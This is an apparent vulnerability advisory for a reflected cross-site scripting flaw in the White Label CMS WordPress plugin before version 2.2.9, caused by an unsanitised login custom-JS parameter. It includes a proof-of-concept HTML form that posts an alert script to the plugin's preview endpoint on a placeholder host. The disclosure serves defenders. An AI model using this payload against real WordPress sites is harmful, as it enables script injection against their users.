White Label MS < 2.2.9 - Reflected Cross-Site Scripting

2022-02-0700:00:00

Krzysztof Zając

190

white label ms

cross-site scripting

vulnerability

unauthenticated

authenticated

EPSS

0.001

Percentile

41.5%

JSON

The plugin does not sanitise and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing, leading to a Reflected Cross-Site Scripting issue

In v < 2.2.8, both unauthenticated and authenticated users can be attacked with it. In 2.2.8, it will only trigger against authenticated user

<html>
    <body>
        <form action="https://example.com/wp-login.php?wlcms-action=preview" method="POST">
            <input type="text" value='alert(/XSS/);' name="wlcms[_login_custom_js]" />
            <input type="submit" value="Exploit me pls" />
        </form>
    </body>
</html>

References

plugins.trac.wordpress.org/changeset/2672615

EPSS

0.001

Percentile

41.5%

JSON

Related for WPEX-ID:429BE4EB-8A6B-4531-9465-9EF0D35C12CC